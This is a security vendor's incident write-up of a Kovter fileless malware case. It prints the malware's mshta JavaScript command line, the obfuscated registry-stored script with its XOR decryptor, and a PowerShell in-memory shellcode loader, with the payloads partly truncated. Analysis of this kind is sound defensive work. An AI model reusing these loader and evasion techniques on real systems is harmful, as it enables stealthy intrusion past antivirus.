Cyber Cases from the SOC – Fileless Malware Kovter

September 11, 2020

About Cyber Cases from the SOC

Cyber Cases from the SOC is an executive blog series describing real security incident investigations conducted and reported by the RocketCyber SOC analyst team for MSP customers managing SMB networks.

Summary

The RocketCyber SOC team received and triaged a Breach Detection event for Mshta.exe. The adversary’s initial tactic evaded a nextgen malware prevention solution by leveraging this Windows binary which is present on default Windows systems by proxying the execution of other files. The RocketCyber SOC team classified this event with clear malicious intent and was escalated to an incident ticket. The SOC analyst responded and engaged the MSP, who was able to apply the suggested remedy to prevent the adversary from further advancement.

PowerShell Activity

The RocketCyber Agent detected suspicious Powershell Activity. In this case PowerShell is executing code from an environment variable wfkygtim.

PowerShell Activity
Executing code from variable wfkygtim

Upon further inspection we see the parent process is mshta.exe >

Mshta Parent Process
Execution of Malicious JavaScript

About Mshta

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Adversaries frequently abuse mshta.exe to proxy execution of malicious .hta files and JavaScript or VBScript through a trusted Windows utility.

For this incident, let’s take a closer look at the mshta.exe command line that was executed:

0.	"C:\Windows\system32\mshta.exe" "javascript:U7D7bjpi="poJ4dpZ";F3N=new ActiveXObject("WScript.Shell");b1jeGlgW="N";EOIm6=F3N.RegRead("HKCU\\software\\nirrniykni\\smbc");RD7eEHcM="99O";eval(EOIm6);bHg8C1W="pd";"

You’ll notice that mshta.exe is executing a block of JavaScript. If we break this JavaScript down we will see the following:

1.	U7D7bjpi = "poJ4dpZ";  
2.	F3N = new ActiveXObject("WScript.Shell");  
3.	b1jeGlgW = "N";  
4.	EOIm6 = F3N.RegRead("HKCU\\software\\nirrniykni\\smbc");  
5.	RD7eEHcM = "99O";  
6.	eval(EOIm6);  
7.	bHg8C1W = "pd"; 

This code creates a Wscript.Shell object which then reads additional JavaScript code from the registry and then calls the JavaScript eval() function to execute the code retrieved from the registry key.

At this point, we needed to understand the JavaScript code that was stored in the registry key, so we retrieved a copy of the registry branch and analyzed the values. After reviewing the Registry Dump we noticed sections that were Base64 Encoded, so we Decoded them which led us to the next block of JavaScript code:

1.	VvPITZZoIqgUTJ9arcKPsn = "RPlesG4FPsW3cn0DFiVgMa3r";  
2.	X2HoYAUgzhpyGruNzUBS4KIb = "LrprvXNt7sSV2ETkLlUaUauKs";  
3.	kixPHSoOVnpinCC1KZksvH = "WoFAo013ClSE8BOYVdYZUPVrkSTLi9wNBbQxlYK";  
4.	Wx0OMjXkGXNXGdlEnWzqqQTg8 = "GyC65YQQFbT5Z4ngu2XD";  
5.	z1EXx3CGXwDeYFyZrkGV = "S4DaZMCV0gkxGkPN7dWFsaJlpLPSO";  
6.	  
7.	// Truncated for clarity  
8.	cq1q = "7D3804125C293D100F1D280E650121272E36283A0117163B4E5A1532242C1D202832235B353111192044090B7F052E140B336703343F2730223A46035C2B7D270A4C3039345F0F1C365C13082A674E003C61673A3428541612253D1B101201050C39315F333A24037C121A020816750840735510072906305C150A2A2739570D03280443030E2D7700105328342677203B293239225B73181C293D5307061D0233192601003B301E071028537A02140C360D0743350F487226545E360E6D222B281C1D12643305136300560804214A133B0C107D7B7F14091D0C55041D2D0E1427001C1B37524D3D332A201237320E24291C0215000B1738572856457C0D4B47750C7636350738104D06682A286C112A2C2C3818503E6C4C60730F182B362D2810343C241106073D3800421D4E5A13140B123E32062A0D5E0B64045824053A4F0360284F477A314A352324191C10623F446E054254556E5A47015075055039221B3F382E4E617C5E68622C187C54721E130458271B35331C3C282E2B59213615497563025B425D19024B122D5D20346B5F515D7F265B7B1A370A0F2A19185F142B19416269312803220322234C68704D4C3C0A24091107110B5A686748301519691B1F010419231A1456535B0D1F0B26180276191A35233C18170937670616102D0C5F6A3A2119432F391507567B20233F030338160B7D581C04041A1601506613580342381E692B312911625600087B575B0E091B1D7923151D231A3A050215266C06091D145E1D553E22015723090F002B17150B070A293D22387C3908360F2A2F561F0A1C1E082939035B260237510D6C18576573500C041917482E6A7D4F27364E1E351401193D21111D145F12773D731832050D39313E02120C17110919113A3B142E20390D2D061C130027502557030318022E4C336D7772102F3270295C0B0E303D2C374";  
9.	  
10.	OUszkbeFsjreatBpwL9MkE = "zr4qheuMy3cMA9yKCpqBEaryrQ3dQWHY7zInb";  
11.	aMUVkkVTLIHUhLXi85UoDo = "C9oLymH2me9qOpMG3XT";  
12.	pVmuRlRL06juSCWEAXx = "QMkvPYMOu7mmYKBzU77AS8DDB0JYb26jGc4YmdgNY";  
13.	dfYKLLkYrBrJCA9gxZuqb = "h6mERw3uqwvsQggO";  
14.	Iszi23c = "";  
15.	for (hWDspy4L = 0; hWDspy4L < cq1q.length; hWDspy4L += 2) Iszi23c += String.fromCharCode(parseInt(cq1q.substr(hWDspy4L, 2), 16));  
16.	  
17.	zZ8iyrZvUbelgNCVBq = "Iw4WRwxGxxCB7sm6EvR7bBomU2YNMJpQTTah8X";  
18.	mAHYLKVRECWj4nSzgznhaPrM = "jMnj2rZgZdcn8I1A2LMVPaKVjGuVF";  
19.	vO0HMwHRoFiNFlIh3QWr = "WgP8O6h9A2EsJaOrccCSHNZqul7P0BHVo3";  
20.	tqlc0MREuU4IGpvzMpeaoGQ = "JTIjDFiuDY3wVsXDZm7Y7AN0bRrWAqlqxNGllT";  
21.	fAPD1bYb7hdkUvDvVcPHjv = "xLaiKM05HfN1XsXquYVG97JXbLk9ZQ2KtzmsUBP5It57e";  
22.	ZS4xtydLhRjNJaGqIkHWaCo = "z1nRe34hmxTT2W60cnjRXzrgFW2EyvDXw4Zia9";  
23.	jYAekWknU3DBTtBLBZGxHw = "OjdXU7LUN5fcP09TzGoClpTOBFIOl6wa1M6c4g9vn7";  
24.	FDC8ljdpQA7 = "1yNw5JKaZlAfQPnAYenKlOpvsxfxAZjYpaI3DUaaW4Q804iveAE8LXIvju6PlC4rdyCkw";  
25.	qeh0gsPhlSa0Z = "";  
26.	for (twGkP3nxZvf1XSZ = ToTvTl2MFJeW6woku = 0; ToTvTl2MFJeW6woku < Iszi23c.length; ToTvTl2MFJeW6woku++) {  
27.	    qeh0gsPhlSa0Z += String.fromCharCode(Iszi23c.substr(ToTvTl2MFJeW6woku, 1).charCodeAt() ^ FDC8ljdpQA7.substr(twGkP3nxZvf1XSZ, 1).charCodeAt());  
28.	    twGkP3nxZvf1XSZ = (twGkP3nxZvf1XSZ < FDC8ljdpQA7.length - 1) ? twGkP3nxZvf1XSZ + 1 : 0;  
29.	}  
30.	rciwq9SRqvtsSrMORcUl2LXMe = "r5eukZTdJiUYCvdO";  
31.	cFADVNTy5wBbrQRZUU7 = "VQbRKUmpJBtTVBu5WrWWo6bJpSy00pRjqQZ5";  
32.	WKunLrcprrC12mTadma = "hHaK4GSMbYF0cHJwpDMlkJ7l6m60nLQq83";  
33.	hQsXAgBWvpnd2L9OdWWzw = "cZnwhdnymNWQBH8vMYEbRYnL2MZU";  
34.	  
35.	eval(qeh0gsPhlSa0Z);  
36.	R4WAGOjNXVJOPVcpHVZau = "MZz4K7gfinDRVOV0H52J8R6VskfXLoLcvuMSWoCvG";  
37.	dRA9jrcbWufqXKcMtH = "fHyw6p2AHeyVNCsq3kUtvWm7Mvq2oea";  
38.	jRUwzCly2a6JLcuPPEV = "AE39noeAhxwbYuFjekascn";  
39.	dzNDWtucCjtHt7k2UsEpKu = "F5r1K7l9stCqHpFqNwHLmrdwsu";  
40.	wO0zfsfQIuuSsEUJJfEOCF = "mbFDPxe7GX7dTrzR1axuoKweFBV6SyOX";  
41.	xCU4elgriKswwjOiuNCvvE = "FsI6IE9VwQWBIGotrZ1FEWz";  
42.	awqkC3IVUv4vdwhASQVp = "NAkrKHMxbdhs2WNQY1TRfIwwONDcvASrzsqhPppd";  
  

As you might realize, this code is highly obfuscated and not very legible to the naked eye. So we decided to go a bit further down the rabbit hole. We setup a sacrificial virtual machine, installed Node.js and Visual Studio Code to determine what this code was up to.

We could already tell that the code was building a string that was going be executed by JavaScript again. Take note of the variable – qeh0gsPhlSa0Z. It’s a string variable that is initialized to empty and then built by looping through and deciphering characters from the variable Iszi23c.

So to find out what the contents of qeh0gsPhlSa0Z is after the for loop we set some break points and executed the code.

On further analysis cq1q contains hexadecimal representation of encrypted code. It is processed by the following two loops. First loop on line 15 converts it from the text representation into a binary. The second loop at line 26 performs XOR decryption (the XOR key is random, generated newly on each run). Then, the result is executed by eval function on line 35.

Below is the code fragment that was generated:

1.	LAJeicvqUqih4QOfwSFqmXfM = "sJevwyXSjhqdpxwpX3O1Gbnr";  
2.	xgnFHOpS0hIUn5sRCnvRAiYCK = "AZ07Tuq1xYIrkfayctxk5jJEJOVOciAAYxCayqLGudYRcQS";  
3.	SDGwqjT4kgbQzQBjpHhUc = "Hrhd6iMqMCoUyfCqDmIX231PYWlPwd7xFO";  
4.	wKUnsajwgRciPWr2qGJ = "BBgH14uSqM3UMCOMBnWwx";  
5.	NKLXSmXWTHU1QUjvocynuHd = "4INzmNNz808FkXcNUoSoaG";  
6.	U9DyqZlNAdReHcivTO2k = "ulJHTkvKDmO1e9s1kw3TA9";  
7.	try {  
8.	    moveTo(-100, -100);  
9.	    resizeTo(0, 0);  
10.	    Iv78 = new ActiveXObject("WScript.Shell");  
11.	    // Truncated for clarity  
12.	    (Iv78.Environment("Process"))("wfkygtim") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('I2Z2YWZodHp5bQ0Kc2xlZXAoMTUpO3RyeXtmdW5jdGlvbiBnZGVsZWdhdGV7UGFyYW0gKFtQYXJhbWV0ZXIoUG9zaXRpb249MCxNY...')))";  
13.	    xwrW39 = Iv78.Run("C:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe iex $env:wfkygtim", 0, 1);  
14.	} catch (e) {}  
15.	close();  

Yet another obfuscated JavaScript Block. This time setting an environment variable wfkygtim (you’ll recognize this from the suspicious PowerShell command execution the RocketCyber Agent detected) with the contents a decoded PowerShell commands from a Base64 encoded string.

When we decode the Base64 string we find the following PowerShell code:

1.	#fvafhtzym  
2.	sleep(15);  
3.	  
4.	try{  
5.	    function gdelegate{Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);  
6.	        $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]);  
7.	        $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");  
8.	        $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed");  
9.	        return $TypeBuilder.CreateType();  
10.	    }  
11.	    function gproc{Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);  
12.	        $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")  
13.	        };  
14.	        $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");  
15.	        return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));  
16.	    }  
17.	 
18.	   #Truncated for clarity  
19.	    [Byte[]] $sc32 = 0x55,0x8B,0xEC,0x81,0xC4,0x00,0xFA,0xFF,0xFF,0x53,0x56,0x57,0x53,0x56,0x57,0xFC,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x6A,0x18,0x59,0x31,0xFF,0x31,;  
20.	    [Uint32[]] $op=0;  
21.	    $r=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualProtect),(gdelegate @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($sc32,$sc32.Length,0x40,$op);  
22.	    if($r -eq 0){  
23.	        $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40);  
24.	        if($pr -ne 0){  
25.	            $memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset),(gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr]))));  
26.	            for ($i=0;$i -le ($sc32.Length-1);$i++) {  
27.	                $memset.Invoke(($pr+$i), $sc32[$i], 1)  
28.	            };  
29.	            ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0);  
30.	        }  
31.	    }  
32.	    else {  
33.	        ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[Byte[]],[Byte[]],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$sc32,$sc32,0,0);  
34.	    }  
35.	    sleep(1200);  
36.	}catch{}  
37.	  
38.	exit;#viuddleprfnshnemyqaljwmhkzahaqbljfliqh  

In this PowerShell script we can see it is creating shellcode from line 19 in the variable $sc32. Armed with this evidence we then started searching for similar shell code patterns. What we found was quite surprising. Turns out the good folks over at MalwareBytes wrote an article about Kovter fileless malware dating back to August 27, 2016.

With this confirmation of what we had uncovered we were able to alert the customer to the malware evading their antivirus, infecting the environment and then the device was remediated.

Conclusion

Defense-in-Depth (layered security) combined with a SOC-as-a-Service, is a must. You can’t rely on a single point of failure in your security stack. Even though you have endpoint security products deployed you can’t assume they are going to catch 100% of malware, even in instances where the malware has been known for several years.

A Managed SOC service job is to monitor your systems and security stack, and catch instances just like these – before its too late.Learn more about RocketCyber’s 24/7 SOC-as-a-Service for MSPs by speaking with a RocketCyber security engineer today.